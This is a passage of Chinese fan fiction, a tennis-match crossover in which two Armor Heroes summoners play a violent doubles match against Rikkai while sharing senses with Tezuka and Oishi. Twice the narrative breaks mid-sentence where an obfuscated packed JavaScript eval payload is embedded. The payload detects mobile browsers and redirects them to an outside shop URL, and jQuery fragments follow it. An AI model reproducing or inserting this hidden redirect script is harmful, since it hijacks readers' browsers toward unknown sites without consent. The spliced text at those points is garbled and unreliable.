陈海棠抬手给陶成武脑袋来了一下:“那可是队长和大石。没看到他们前几天训练的时候那么有默契吗?才第一局就摆起个苦瓜脸,伤不伤我们士气啊?” 陶成武懒得理他,跟鞠万一起托着下巴满面忧愁地看向正在中场休息的两人。 北淼和西钊就这么背对球员坐着,水没喝上一口,也没想起来拿毛巾擦汗,甚至没有在意身后队员们的担忧。他们看上去在互相讨论,其实在跨服指导打法和交流战术。钟国光在击球角度和技巧上给北淼建议,而石毅则教西钊如何控制挥拍力道和速度并灵活运用。 休息时间结束,他们站起身,四个人默契地向彼此伸出拳头,不轻不重地相碰。 “第二局,立海大发球局。” 这一局,北淼和西钊调整战略,主打一个出其不意。 理论上来说,陈海棠的蛇球对来球有一定要求,但北淼不需要这些前置条件。在西钊与任王打上几个来回之后,北淼看准时机、将球拍在地上拖行出比月亮截击更长的弧线,截下任王打向后场的来球,屈臂折腕、一个完美的水平曲线球经过场中,在落地时反弹至常理之外的方向,让网前的齐远挥了个空。 “15:0” “咦?同样是蛇球,怎么队长这个没被立海大他们预判到?”何春龙有些摸不着头脑,他瞥了一眼陈海棠,发现蛇球的“正主”比他还要惊讶。 钱真智低头翻看刚刚记录的数据,缓缓解释道:“队长的手臂力量比陈海棠更大,而且击球角度也不一样。看上去是海棠的蛇球,其实更像一种落地反弹方向随机的旋球。” 这边队员们还在激烈讨论,场上的北淼和西钊已经展开攻势。 北淼再次依据钟国光的判断躲过一个瞄准自己身体的球,随即给后场的西钊使了个眼色。石毅本想再用月亮截击,但西钊第一次没有选择石毅的策略,而是在那瞬间凭借战士的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334667|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能,摆出当初差点砸到龙马的招数的起手式。 立海大研究过周助的“白鲸”,自然先入为主地认为这是只有借助风才能够实现的招式,而现在并没有合适的气流。不过,他们面对的可不是周助。 当黄绿色的网球在半空上下起伏着绕场半圈,在任王身后的底线之前落地,又回到西钊手里时,他们才发现,“石毅”并非利用气流打出白鲸,而是他以自身力量产生了气流,如同钟国光的“领域”一般控球回击。 “30:0” 这回,震惊的人变成了周助。 “厉害。”钟国光不禁感叹,“用我的‘领域’打出白鲸,大概只有你们这样特殊体质的人,才能做到了。” 虽然钟国光夸的是西钊,但北淼就好像他也被夸了一样,心情不错地在任王和齐远低语商量时将球拍搭在肩上:“哼。那是当然。可别小看了我们。” 下一球,北淼和西钊依旧保持着攻势。当西钊和任王在场地左侧的后场以长距离的回球进行拉锯战时,网前的北淼和钟国光紧盯齐远的站位,在西钊一个迷惑球诱导齐远向左侧场地移动的瞬间,北淼起跳挥拍,拦截任王的回球直穿二人右侧场地的死角,稳稳落地,判定得分*。 “40:0” “好!!” 陶成武和何春龙从座位上窜起来欢呼,但钱真智却依旧神情严肃,没有放过任何一处细节。他听到龙马在旁边小声说了句:“立海大要开始反击了。” 果不其然,齐远在接下来的比赛中,球速和力量有了显著提升,继续与任王默契地盯着北淼一个人打。就在钟国光和北淼思考如何化解攻势时,齐远以任王的回球为诱饵,让北淼和西钊依旧认为“钟国光”是目标。但接着他转腕挥拍、球路一转,意想不到的曲线球绕过北淼直奔西钊去。 “西钊!” 北淼转身提醒的同时,西钊也注意到了极速袭来的网球,由于受到任王的干扰,西钊反应不及,下意识想要伸手去接,没有注意到这个球瞄准的方向并非场地,而是—— “!?” 时速过百的弹性球体冲击手腕的力量,哪怕是铠甲召唤人也不一定能受得住,西钊的球拍瞬间脱手。这点疼不算什么,他咬咬牙一声不吭,只是握着迅速泛起青紫淤血的手腕活动几下,确保基本的行动不受影响。 “40:15” “西钊!” “大石!” 能和彼此共感的两人都感觉得到疼痛,但另一边的大石直接被击退了好几步,要不是钟国光扶着,就往后跌坐下去了。 “怎么可以用网球打人呢?”站在观众席上的林樱对齐远的行为非常不满,但又很困惑,“难道这也算得分吗?” “没办法。”旁边的小朋解释道,“规则就是这样,网球接触身体是不算犯规的,也算对手得分。” 坐在下面的鞠万急得就差把整个身子跨过去了:“大石没事吧……这么快的球,看着都疼。盯着手腕打也太过分了。” “……我没事,别担心,北淼。”面对冲过来拽过他手臂检查伤势的北淼,西钊笑着摇摇头,“是我判断失误,对不起。” 北淼紧皱眉头,又气又心疼地轻揉着西钊的手腕,咬牙切齿骂道:“这个混蛋。” 西钊意识到北淼又被勾起了暴脾气,立马想到这或许是立海大的计策之一。他赶忙捡起球拍,在北淼转身气势汹汹走向网前位时拉住北淼的手臂:“北淼,别冲动。稳一点,我们能拿下比赛。” “我知道,不用你操心。”北淼头也没回,抽开了西钊拽住他的手。 完蛋,真生气了。西钊无可奈何地摇摇头,一边活动手腕、一边站回后场的位置,准备迎接任王的发球。 事实证明,西钊的担心并非没有道理。这一球北淼进攻积极,球速更快、挥拍力度也更大。石毅也有些担心北淼会不会以其人之道还治其人之身地把球打到齐远身上。这肯定不符合青学、也不符合钟国光的作风。 “放心吧。”西钊反手一个短球截住对面的扣杀,期间还不忘向石毅担保,“北淼虽然急了一点,但我相信,他有分寸。” 结果西钊这话还没说完呢,只见北淼迎着任王回过来的中高吊球直接起跳、球拍往下、怼着网前的空隙以流星枪的水之力将网球直击地面,完成陶成武的“垂直扣杀”。 网球落地的冲击之大,让它在对面场地直直弹起近十米高。没人在意裁判评估计分,几乎所有人的目光都追着那个超乎寻常的网球,直至它落在观众席前。球拍挥下时扬起的风浪与气场,硬生生将齐远任王二人逼退了几步。 “1:1” 在一旁观战的陶成武惊得瞪大眼睛,合不上嘴:“我的妈呀……这个‘垂直扣杀’已经是能杀人的级别了吧。队长他、他……” “队长生气了。”周助意味深长地看向立海大的双打二人组,“我有点担心,接下来齐远的目标会是大石。” “呃,西钊……”另一个世界,石毅与完全不能干涉北淼的钟国光沉默对视、欲言又止。 西钊定定望着北淼依旧紧握球拍笔直站在网前的背影,轻声叹口气,抬起左手覆上前额,无语掩面:“对不起,我收回那句话。” TBC 40. 不破不立 “第三局:青学发球局。” 如周助所料,这一局,齐远和任王的目标逐渐从“钟国光”转移至“石毅”。虽然北淼在网前尽可能地为西钊拦截,但由于被勾起躁动的情绪,北淼和钟国光的配合并不像之前一样天衣无缝,而任王正是抓住“钟国光”受情绪影响时击球的微妙变化,让齐远趁机将球穿过北淼的脸侧径直冲向西钊。 西钊很快反应过来这是另一个攻击他身体的球,而他自信不会在同样的招数跌倒两次。但当他在球落地反弹准备挥拍回球时,球的反弹方向却超乎寻常,不在他的预判之内。由于西钊挥拍时需要展开手臂,他瞬间意识到自己的身体正处于毫无防护的状态迎接朝他急速而来的网球。西钊不得已跨步后撤,于是本该击中他膝盖的球重重地砸到了他的腰腹处。 “0:15” 嘶……话说太早了,这一下有够痛的,跟被黑暗护法附身的丑将给他一拳力道差不多。不过还不至于影响到他什么。他只是怕北淼因此被对方带跑了节奏。 而另一边,石毅已经瘫坐在地痛呼着按揉腰侧,一时半会儿是起不来了。钟国光在石毅身旁看护,犹豫片刻后还是对北淼说道:“这是他们的心理战术。要稳住,北淼。被他们发现弱点就完了。” 阴着一张脸的北淼压根没听进去,连看都没看齐远任王,转身小跑到西钊面前。北淼的视线一旦落在西钊身上就立马变得柔和,他忍住没掀开西钊的衣服仔细检查,只是伸手覆上他的腰试图以这样的方式减缓西钊的疼痛。虽然知道西钊没那么弱,但他心里还是压着那股火气,因“钟国光”的皮囊而无处发泄。 “继续?”北淼心情不好的时候一向惜字如金。 西钊抬起手轻拍北淼的后背以示安抚,仿佛北淼才是被球击中的那个。他温和一笑,轻声道:“继续。” 接下来的几个回合,不管是西钊还是北淼,状态多少都受到了影响。北淼被任王拉到后场,而齐远又在网前不断用速度极快的球盯着西钊的身体打。双方网前距离太过接近,以至于球还没落地就被打了回去。网球在他们手里硬生生给打成了羽毛球。 然而,齐远的计策不止如此。他不断利用相同的击球点和击球角度打出相似的球,让西钊回球的姿势和力量基本保持一致,待时机成熟,他突然用反手把球往场中斜角打。西钊的脑子对球路反应及时,但身体不知为何慢了一步。他和北淼一个向后接,一个往前接,等他们的拍子撞在一起,球也堪堪落在他们旁边。 “0:30” “怎么回事?”陶成武看到这一幕,疑惑不解,“这个球不难接吧,为什么大石没反应过来?” 陈海棠环抱双臂,脸色看上去和北淼一样阴沉:“感觉队长还是被他们影响了。最开始往大石手腕打的那一球,我看,就是试探队长的。” “我也这么想。”看着发球失误的“钟国光”,钱真智依然眉头紧皱,低头翻开笔记,“至于大石……因为齐远一直诱导大石用相同的姿势回球,这样很容易造成肌肉疲劳。就算大石的眼睛能跟上球的轨迹,他的手臂也很难以相同的反应力击中突然改变方向的球,加上他手腕被球击中,所以会受到很大影响。” 何春龙在一旁听着,有些焦急地挠头:“队长训练的时候不是都能闭着眼睛打球吗?还有他的‘领域’都没用呢。” “这些都要求一个人完全专注、心无杂念。现在,国光静不下心,别说用起来的效果如何,能不能顺利用出来都是问题。”周助话音刚落,北淼的二次发球再次偏离发球区,判定出界。 “0:40” 西钊在北淼再度发球之前走到他面前,苦于不能用更亲密一些的举动让他冷静下来。西钊在心里对石毅说了声“对不起”,为北淼的冲动行为道歉,接着看向北淼,思考片刻后,扬起嘴角又是那个熟悉的温柔笑容,抬手握拳邀他相碰:“打起精神来,北淼。你想想,你越是着急、被他们拿捏了比赛节奏,我是不是就得挨更多的打?你也不想我这么惨吧?” 西钊的这番逻辑精准直击北淼的心,方才布满阴霾的目光明亮了些许,北淼的那股牛劲歇了大半,朝西钊“嗯”了一声,握拳用力与西钊的相碰。 这次,北淼的发球很顺利。立海大并没有放弃通过进攻“石毅”扰乱“钟国光”心理的战术,但北淼在和钟国光重新同调之后,许多“暴力球”都能够以更“温和”的方式进行回击。意识到“钟国光”对“石毅”的防守几乎严丝合缝,齐远即刻改变策略,故技重施,由后场的任王诱导“石毅”,网前的自己再用最大的力度击球,使其直冲同为网前位的“钟国光”面门。 这是用拍子绝对接不到的球。钟国光在齐远挥拍的前一秒就通过他的动作得出结论。而北淼却想到,如果他躲开,那么西钊就要面对它。因此,在这个念头产生的瞬间,明知会失分,他也闭上眼,微微歪头、抬手至脸侧,稳稳当当地接住了这时速过百的高速球。网球卷起的浮尘由于冲击力和惯性扑散在四周,顺着气流徐徐上升,犹如熄灭烈焰残存的灰烬烟霾。 “1:2,立海大领先。” 虽然裁判已经宣告比分,但场上几人依旧维持着原本的姿势。齐远看着徒手接住堪比子弹球的“钟国光”,不敢相信自己的眼睛。 只见北淼缓缓松开手,让球自由落体,在地上回弹几下,滚到场边。他抬眼,看在钟国光的面子上,没有表现出他心里的轻蔑和愠怒,只是轻哼一声,露出礼貌地假笑:“奉劝你们,最好不要欺人太甚。” 留下这句话后,北淼也懒得在意对方怎么回应,侧过身望向西钊,朝休息处的椅子歪歪脑袋,示意他一起过去休息。 “抱歉。”北淼坐下的第一件事就是和钟国光道歉,“你手没事吧?” 在俱乐部场地和石毅并排而坐、脑袋靠脑袋的钟国光笑了笑,摇摇头,即使北淼看不见:“没事。虽然我们能感觉到疼痛,但它并没有在我们身上留下痕迹。” 北淼“嗯”了一声作为回应,不再说什么,一言不发地把水递给西钊。西钊随手拧开,但没有喝。他低着头,眼里满是无奈和自嘲:“一开始,我还觉得我们超乎常人的能力、说不定会占据优势,没想到,他们打的是暴力球和心理战。” “别嘲讽我了。对不起,我不莽了,行了吗?”刚刚才被“心理战”拿捏的北淼扯扯嘴角,说得好是敷衍,没好气地拿过西钊手里的水给自己灌上一口,“哼,要不是为国光和大石的形象兜底,他们怕是连打第二个来回的机会都没有。” “你那个‘垂直扣杀’也没有很收敛吧……”西钊偏头瞅了一眼既心虚又骄傲的北淼,忍俊不禁。 一听这话北淼就不高兴了,抬手不轻不重地就给西钊肩膀上来了一拳:“你好意思说我?你自己看看、那个‘白鲸’是正常人能打出来的球吗?” 望着在长椅上互相调侃、氛围轻松、对落后的比分和掌握他们节奏的强大对手完全没有紧张感和压迫感的二人,青学网球队的队员们面面相觑,陷入了沉默。 “第四局:立海大发球局。” 对面已经放开手脚全力展开攻势,北淼和西钊也不再一昧防守。 北淼比钟国光更早看穿齐远暴力球的击球规律,他默契地与西钊交换站位,守在后场。他们比起前几局,已经开始不再完全依赖钟国光和石毅的指导。面对任王从后场打出的高压球,网前的西钊没有选择拦截,而是侧身躲闪,将球让给身后的北淼。 北淼弯下腰,握拍的右手向上高举,曲臂挥拍,以一个微妙的力道打出了完美的旋球。 “是‘飞燕还巢’!”周助还没说什么,鞠万和陶成武就先从座位上窜起来了。 龙马微微抬高帽檐,将身体前倾,双眼专注地盯着那颗球的轨迹,低声道:“不是飞燕。” 后场的任王提醒齐远那是周助的特技“飞燕还巢”,要在球落地之前截住。然而,来球并未如他们预料之中那样落在中后场,北淼打出的高度正好擦网、极大减弱了球的旋转,而球就像踩在钢丝上失去平衡的人,只停留了一瞬,便贴着球网落在立海大的场地界内。 “15:0” 北淼与迎面而来的西钊默契地击掌,重新调整回最初的站位。 齐远发球之前,石毅忽然问道:“西钊,你们练过反手吗?” “练过。二刀流和反手对我来说很轻松。” “好。” 石毅话音刚落,齐远的高速发球便朝着西钊面前的发球区袭来。西钊即刻回球给网前的任王,依据石毅的策略诱导他与同为网前的北淼打上来回。钟国光这次倒是没跟上石毅的思路,直到北淼在打出一个回球后,听到了西钊的声音:“北淼,换位!” 他们犹如天生的搭档,在任王的短球落地之前就已经互换好位置,并顺利回敬了一个高速短球。任王自然不甘示弱,准备再度展开羽毛球一般的网前对峙,但西钊在石毅一声“反手,打他右侧!”之后,一个反手就把来球打到了任王挥拍死角的右边场地*。 “30:0” “好快的反应。”钱真智扶稳镜框,喃喃自语,“利用网前短球的速度和对手击球的习惯出其不意打出反手球。这个战术,值得参考……” 如同蹦起来大叫的猫,鞠万的欢呼声几乎贯穿全场:“耶!不愧是大石!我就知道他们没问题的!” 同样站着的陈海棠瞥了一眼鞠万,一边说着“能不能小点声你丢不丢人啊”一边一巴掌压着鞠万的脑袋给他按了下去。 似乎是对刚刚的失分耿耿于怀,准备发球的齐远与任王对上眼神,嘴角勾起一个令人发寒的笑容。他以一个怪异的姿势用力挥拍,目标紧盯发球区之后守着的西钊。以石毅的判断,这是一个正常的发球,只不过速度更快,但西钊总觉得哪里很违和。 直到球在发球区落地、西钊上前准备给它打回去时,他们才发现这是个回弹路线可以用“蜿蜒曲折”来形容的旋球。如闪电般的轨迹让西钊不能正常判断击球点,甚至后撤挥拍都为时已晚,这个发球就这么和他的前额来了个亲密接触。球的冲击力甚至让西钊目眩了几秒,也幸好他下盘定力好,不然普通人可能就被打得往后倒下了。 “30:15” 西钊甩甩脑袋,视线重新变得清晰。他没有在意比分,也没有觉得特别疼,除了脑子里嗡嗡的,也不知道大石那边怎么样。刚一抬头,西钊就看到了抓着他肩膀晃动的北淼:“怎么样?有没有事?伤到哪儿了?” “还好,没事。”西钊轻轻揉着发红的额头,苦笑道,“哎,真是白在影界待那么久了。这要是说出去、丑将都要从棺材板里笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334668|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒……” 北淼拍开西钊的手,双手覆上去替他按揉,听着西钊这事不关己的调侃模样都快给气笑了:“你被网球砸傻了是不是?还有心情讲冷笑话?” “我真的没事。别因为我影响比赛。”西钊笑叹口气,把北淼的手掰下来,不由分说地把他往网前位推过去,“有什么话回去再说,倔犀牛。” “你……!” 真是火大。北淼暴躁的情绪不减反增,他很不喜欢西钊大事化小小事化了的态度,也不喜欢他什么都自己扛的习惯——可气的就是这甚至不是西钊的“优良品德”,而是“习惯”,习惯!这个家伙对他自己能不能不要这么随便啊! 北淼在心里愤愤咆哮,都没注意到下一球已经开打,直到钟国光一句“北淼!球过来了!”他才恍然回神,带着一股“别烦我!”的狂躁凭借本能用力挥拍压球。结果因为力量太大,角度太偏,球直接出界,一路滚到观众席前。 “30:30” “……” 北淼懊恼地扶着额头,“啧”了一声。他得冷静下来,这样下去节奏只会越来越乱。西钊说得对,他的失态不仅会影响比赛,也会让西钊、或者他自己,受到更多“暴力网球”的伤害。他回头望向西钊,对方只是微微摇头,给他一个“没关系”的温和笑容和眼神。 待北淼调整状态,回身紧盯发球的齐远和面前的任王时,钟国光忽然说:“大石也是这样。不管在赛场上发生什么事,他都能稳住大家的心。” “哼。”北淼不服地轻笑,抬手就截下一个往后场的高压球打向斜角的空隙,“西钊可比大石强多了。看到刚刚的反手球没有?还有刚刚被球打的那几下,普通人早就受影响了,而他跟个没事儿人一样。”你家大石能做到吗? 钟国光不语,只是淡然道:“任王要往后场的死角回球了。” 此时,北淼和西钊都站在场地偏右,而任王攻击的角度正对场地左边的对角,正常情况下右手握拍几乎没办法接到这个球。而石毅和西钊即刻对上思路,将球拍换到了左手。虽然石毅不怎么会用左手打球,但只要他跟得上西钊就没问题。 “是二刀流!”何春龙指向场中的“大石”,兴奋喊道。 龙马移开视线,说着嘲讽的话,但语气异常平静:“还差得远呢。” 令众人更意想不到的是,“石毅”成功用左手握拍接住球后,竟开始转拍拖地,做出那个熟悉的起手式。接着手臂一甩,网球在空中划出完美的月牙抛物线,最终落在与自己位置对称的对场斜角处,几乎分毫不差。 “40:30” “左手的‘月亮截击’?!”陶成武的惊呼让龙马往场中方向瞄了一眼。 不着调的鞠万还在旁边夸张地抹眼泪:“哎,没想到大石保留了这么多实力,太不把我当兄弟了。” 这恐怕不是“大石”的实力吧。钱真智在心里默默吐槽,把手里的笔记慢慢翻到下一页。 再赢一个球他们就能把比分追平,北淼打算在这里亮出“底牌”。钟国光有些担心,他的“领域”其实还不完善,如果其他队员的招式立海大都能找到弱点攻破,那么不排除自己的绝招也有被破解的可能。 “正因如此,我们才要把这张牌亮出来。”北淼与西钊互换站位,挪步后场,开始调整呼吸,同时对钟国光说道,“所谓‘抛砖引玉’,不拿出点诱饵,就不知道他们对你们了解到多少程度。” 钟国光对北淼形容他的绝招是“砖”这件事忍俊不禁,但也没有过多在意。迎着网前齐远的扣球进攻,他们意念合一、步调一致地稳住下盘,迈出其中一只脚划开半个圆。北淼闭上眼,像最初以“水之力”感知事物一般,将周身的平缓的气流为自己所用,成功地将本该迅速落地的扣球诱导至身边,以极其顺手的角度打了回去。 发现“钟国光”开始使用“领域”,任王却也不慌不忙。他快步后撤,转腕将球拍上挑,打出一个高度甚至超过月亮截击的吊球,径直越过北淼“领域”的范围往他身后去。等北淼侧身回头,球已经落在距离界外紧紧一厘之差的地方,甚至因为他周身残存的气流又往场内翻滚了一段距离。 “40:40” 这回,除了钱真智和周助,几乎所有观战的青学队员都满脸震惊,包括之前被“领域”坑得很惨的龙马。 “队长的‘领域’被破了?这怎么可能?!”陶成武难以置信地看着比分牌,又看向场中贴近耳语的“国光”和“大石”,“难道是队长故意的吗?” “不。”钱真智低头闭眼,捏了捏眉心,轻声叹息道,“队长的‘领域’目前并不是不可攻破的,而且也不是单纯把范围外的球打出去就能绕开‘领域’。只能说……立海大这次真的做足了准备。” 一向聒噪的陈海棠看上去意外地安静,反而更显得他像是在憋着一股火气干着急:“队长不像我和陶成武,应该不会因为自己的得意技被攻破就失去斗志吧。” “喂,海棠,你几个意思啊?”陶成武也不惯着,指着陈海棠就怼回去。 “队长不会。”周助没有心思管他们的闹剧,只是目不转睛地盯着“大石”心不在焉的一记出界回球,“但这是双打。受影响的,恐怕不是队长。” “1:3,立海大领先。” TBC 41. 金与水之网球王子 “第5局:青学发球局。” 了解到上一局“领域”的作用是抛砖引玉之后,石毅的状态便好了很多。 他和钟国光明白,如果北淼和西钊想用他们自己的方式赢,立海大根本没有胜算。但现在他们是“钟国光”和“石毅”,不仅各方面受到限制,同时还要以青学的作风拿下比赛。因此,北淼二人的真正底牌不是所谓网球特技,而是身为铠甲勇士召唤人超乎寻常的力量。在那之前,他和钟国光必须相信他们“不会输”。 看到齐远和任王的双后场站位,同和北淼在网前的钟国光有了一个想法。 在西钊顺利将球发至场地右侧发球区的对角之后,任王习惯性地往西钊的方向回球。就在此时,在场地右侧的钟国光与北淼同时起跳拦截,倾斜球拍的角度、侧过身打出向着左侧场地边缘的削球*。防守在左侧的齐远预判球路失误,即使打到了球,球也顺着最初的旋转径直飞出场外。 “15:0” 似乎是被这一出其不意的球激发了斗志,西钊在下一球打算尝试以最快的速度打出最普通的发球——问就是他还没学会周助那个以旋球打向外侧的“消失发球”,只能退而求其次。 石毅听到西钊在心中默念“球拍是枪、网球是子弹、发球区是靶子”,他看到西钊瞄准了发球区的边线,忽然有些担心他会控制不好力道。然而,随着他们二人同步将球抛向半空、再甩臂挥拍,即使处于另一个世界,石毅也能感觉到那颗球在与球拍接触瞬间爆发的强大力量。 除了北淼,根本没人能捕捉球的最终落点,只能看到发球区斜角处扬起的浮尘,以及被极大的冲击和摩擦力蹭出划痕的场地地面。而那真正的“子弹球”仿佛挑衅一般擦着齐远的脸侧呼啸而过、并精准地控制高度,砸在观众席挡板的最上方。 “30:0” 这下,钟国光和石毅更加坚定:只要这两个人想,赢球就和呼吸一样容易。他们刚刚输的那些球、输的那几局,还是太收敛、太善良了。 “天哪,这么快的球速,大石不怕打到人吗……”从没见过如此“暴力”的大石,鞠万直接瞳孔地震。 同样不仅没观察到球的落点、连大石挥拍的击球点都没看清的龙马脸色不太好看:“他一开始就是对着观众席打的。球路已经被他计算好了。” “啊?”何春龙和陶成武异口同声,陶成武在其后补充,“难道大石也要往真智的‘数据网球’发展?” 钱真智扶着眼镜摇摇头:“你可以把我当成计算球路的机器。但对于大石,与其说‘计算’,不如说,更像是我们在和六角‘玩游戏’时,要用网球击中堆叠的易拉罐最上方一样,是一种‘精准射击’。” 鞠万望着场上用月亮截击回球、却也被对方防守打回来的“大石”,歪头道:“诶,那不就是以前我还没跟大石组双打之前,我开玩笑说只要他发球打中对面更多的易拉罐就跟他搭档的那个方法吗?还真用上了!” 旁边站着的陈海棠斜眼看向鞠万,没好气地说:“你那就是欺负大石老实。要是我,早把易拉罐扔你脸上了。” 鞠万理直气壮地“切”了一声,不再理他。 场上,第三个球不知道打了多少来回,双方似乎都没有失误、攻防也没有弱点。局势焦灼之时,齐远打算兵出险招,再度用上他违背体育精神的“暴力网球”。他与任王默契地对视,注意到“石毅”的身体开始产生防守空挡的任王给齐远眼神暗示,让他朝“石毅”进攻。 齐远又一次在西钊往后场打出长距离回球时与任王交换站位,退至后方,如同回应西钊方才的挑衅,以球为子弹、以网拍为枪,让这个高压球直冲西钊而去。 西钊和石毅本想以其他特技抵挡攻势,但本该在网前的北淼几乎是闪现到他面前,球拍换至左手、将这个高速球巧妙地泄力,用几乎不到十分之一的力量打出一个擦网的短球。在齐远和任王一前一后伸手尝试极限接球时,北淼笑着将球拍往肩上一搭,不屑地轻哼。 “40:0” “我说过了,各位。”直到对面两人摔在地上,北淼才垂下手,若无其事地转了转球拍,“点到为止,我还能考虑收敛收敛;但是,若你不仁,就别怪我不义了。” “你现在就该收敛点,北淼。”听着北淼那与自己截然不同的语气和说话方式,钟国光有些哭笑不得,“我可不会这么说话。” 北淼一边挑眉走回自己在网前的站位,一边随口问道:“那你说说,你能丢得起多大的脸?好让我拿捏拿捏分寸,别让我们的国光队长颜面扫地。” 年龄比我都大,但比鞠万还会胡闹。钟国光只是带着淡淡的笑意轻叹口气,没有回话。 齐远和任王并不甘心,这次他们将目标换成了“钟国光”。然而网前的齐远本打算在西钊回球时拦截他的球往“钟国光”身上打,结果等他的球杀向对方面门,却听见远处一声“蹲下!”,“钟国光”即刻屈膝下蹲。球越过网前,本在后场防守的“石毅”突兀出现,截球转拍、落地画弧、甩臂挥拍,一气呵成。 “短球也能打月亮截击?!”鞠万挠挠头,往钱真智的方向看了一眼,“我记得大石还有个不常用的技巧,是用月亮截击的起手式迷惑对手、打出短球,而不是反过来吧?” 钱真智还没说话,龙马就淡然抢答:“青出于蓝而胜于蓝。和之前的‘飞燕’一样,这也不是‘月亮截击’。” “啊?” 还没等众人弄明白龙马的话,西钊这一球就已经给出了答案。原本应该以高吊球的抛物线往后场竖直坠落的球,轨迹却在空中倾斜了近45°,穿过下意识想要往中后场接球的齐远任王二人中间,落在界内对角。虽然目测压线,但经裁判评估,依旧判定为界内球。 “2:3,立海大领先。” 西钊和北淼无言笑着、默契击掌。 石毅还沉浸在方才的“升级版”月亮截击里,思考如何才能用自己的方式将它再次复刻出来。而钟国光倒是毫不意外。他知道,空有力量与反应速度并不能在比赛中获胜,即使是临时抱佛脚地模仿并运用其他人的特技——就像遇强则强的龙马——也需要时间和实战。这几局下来,不难看出,北淼和西钊的反击时刻,已经不远了。 “第六局:立海大发球局。” 任王准备发球前,西钊忽然对石毅说:“大石,手腕还疼吗?” “没事,已经不疼了。” “好。接下来我会用何春龙的波动球,你别用力,跟上我的动作就好。” 石毅微微点头,朝网前的钟国光小声说了句“一会儿把球让给我”。 与此同时,任王的发球以极快的速度落在西钊面前。虽然并不熟练,但他依旧从后往前转动手臂,将来球的力与自己的力挤压在球与拍相撞的点。 西钊与石毅身形相近,手臂却没有网球运动员的肌肉线条。北淼回头望向接球的西钊,发现他为这个波动球积蓄力量时,手仿佛定格在半空,不带一丝颤动,甚至连那副专注的表情都没怎么变过、也没有像何春龙那样发出任何声音。 气流卷着尘埃在他周身形成可视旋涡,极具力量感的画面却因那站桩式的稳重而极度违和。 “我的波动球?!”仿佛天道有轮回,苍天饶过谁,因为自己的特技被队长或者大石以莫名其妙的方式用出来而感到震惊不已的人终于变成了何春龙,“大石什么时候学会的???而且姿势这么稳,这控球能力也太好了??” 龙马抬手压下帽檐,环抱手臂往钱真智的方向歪歪脑袋:“他们不打算装了?” 看着“大石”的波动球被齐远接住、又因其力道之大齐远无法驾驭而球拍脱手,钱真智低头在笔记本上迅速勾画几笔:“也许是吧。但任王是通过观察对手细节从而寻找击破点的选手,他们轮流使用我们招数展开攻防的策略,反而为我提供了很多关于他的数据。” “知道对手怎么对付我们,再反过来优化自己。挺好的。不过,他们没有多少时间了。”龙马望向比分牌,眯了眯眼睛。 “15:0” 任王第一个发球失误时,钱真智忽然看向龙马,似乎是担心不稳定的局势,又或者是因为龙马刚刚的话,一直相信数据的他此刻听上去也有些动摇:“你觉得……他们会输吗?” 龙马沉默着,没有回话。直到他看见场上的“钟国光”再次于意料之外的位置和角度打出熟悉的零式削球之后,他才抬手松了松一直扣在脑袋上的帽子,提高音量,平淡的语气却不掩其中的坚定:“不会。我相信队长。” “30:0” 钟国光向身后的石毅确认刚刚西钊的波动球并未伤及他的手臂之后,便与北淼思绪同步,打算在这一局以力量速战速决。 北淼回头给西钊使了个眼色,西钊微微点头,在任王下一个发球袭来之时再度摆出波动球的起手式,犹如炮弹一般将其发射出去。 也不知该说是意料之内还是意料之外,这一个波动球竟被突然退到后场的齐远硬生生接住,低吼着往球拍上叠加自己的力量。刹那,波动球飞来时产生的气旋迅速扩散为小型龙卷,甚至因为高速旋转的球与拍之间的摩擦而微微发红。最终,球在齐远的吼叫声中随他挥拍的姿势以双倍的力速“原路返回”。 “波动球只能硬碰硬。”皱眉看向微微拉开弓步以单手正手接住齐远二阶波动球的“大石”,周助不禁露出担忧的表情,“球的力量会在这期间不停叠加,很容易造成两败俱伤的局面。这一点,小龙是最清楚的。” 何春龙低头看看自己的右手,简单活动了一下,眼里满是无奈和遗憾:“要是大石也受伤就麻烦了……” 观众席上的队员们还在为“大石”能否承受波动球的对峙而担心,场上的西钊考虑的却是另一个问题。 他手里的拍子还挡着齐远的波动球,不难感觉到球的温度越来越高、手臂与手腕承受的力量也越来越大,把球打回去必须要再往上叠一层力。这对西钊而言其实没有难度,他简单估计,这力度就和提起震雷斧劈下震雷削差不多。 西钊真正担心的,是他把球打回去之后会有什么后果。他和齐远的击球力速都不小,这次回击几乎到了球与拍的极限,如果他回球之后齐远选择接球,凭这力速,就算拍子撑得住,齐远的手肯定撑不住;要是拍子撑不住,球可能会直接穿透网球拍。 他不想造成任何实质性的伤害。如果打算以波动球的力量占据优势,就一定要避免双方陷入对峙的局面。至少,对西钊来说是这样的。 “30:15” 裁判挂上比分时,北淼回头疑惑不解地望着垂下手臂的西钊、以及他脚边滚落的网球。 就在几秒钟前,西钊运用手臂的巧力极大地减缓了球的冲击力。他的拍抵着球灵巧地转动几下,接着转腕使球拍保持水平,轻轻把已经完全“冷却”下来的网球拍在地面。 “对不起。”西钊有些低落,眼神追着滚到场边的球,小声开口,对石毅和北淼道歉。 “怎么了?”北淼发现西钊状态不对,赶忙小跑过来,第一时间握着西钊的右臂翻来覆去检查,“受伤了吗?” 西钊摇摇头,苦笑道:“没事。那个球的力度已经到达极限,我怕伤到他们。不该贸然用波动球,害大家失分了。抱歉。” 